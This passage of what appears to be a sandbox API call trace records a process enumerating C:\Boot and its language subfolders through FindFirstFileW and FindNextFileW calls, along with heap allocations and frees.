	[0064.418] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0065.118] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0065.118] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0065.118] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0065.118] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0065.118] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0065.118] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.118] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811dc8
	[0065.119] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.119] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.119] FindNextFileW (in: hFindFile=0x811dc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0065.119] FindClose (in: hFindFile=0x811dc8 | out: hFindFile=0x811dc8) returned 1
	[0065.119] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.119] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0065.119] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0065.119] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0065.119] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0065.119] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.119] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811d08
	[0065.138] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.138] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.139] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.139] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.139] FindClose (in: hFindFile=0x811d08 | out: hFindFile=0x811d08) returned 1
	[0065.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.139] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0065.139] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.139] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812048
	[0065.157] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.157] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.157] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.158] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.158] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0065.158] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.158] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0065.158] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.158] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0065.158] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.158] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.158] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.158] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.158] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0065.158] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.159] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0065.159] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.159] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812088
	[0065.164] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.165] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.165] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0065.165] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0065.165] FindClose (in: hFindFile=0x812088 | out: hFindFile=0x812088) returned 1
	[0065.165] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.165] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0065.165] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0065.165] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811d08
	[0065.167] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.167] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0065.167] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0065.167] FindClose (in: hFindFile=0x811d08 | out: hFindFile=0x811d08) returned 1
	[0065.167] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0065.167] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0065.167] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
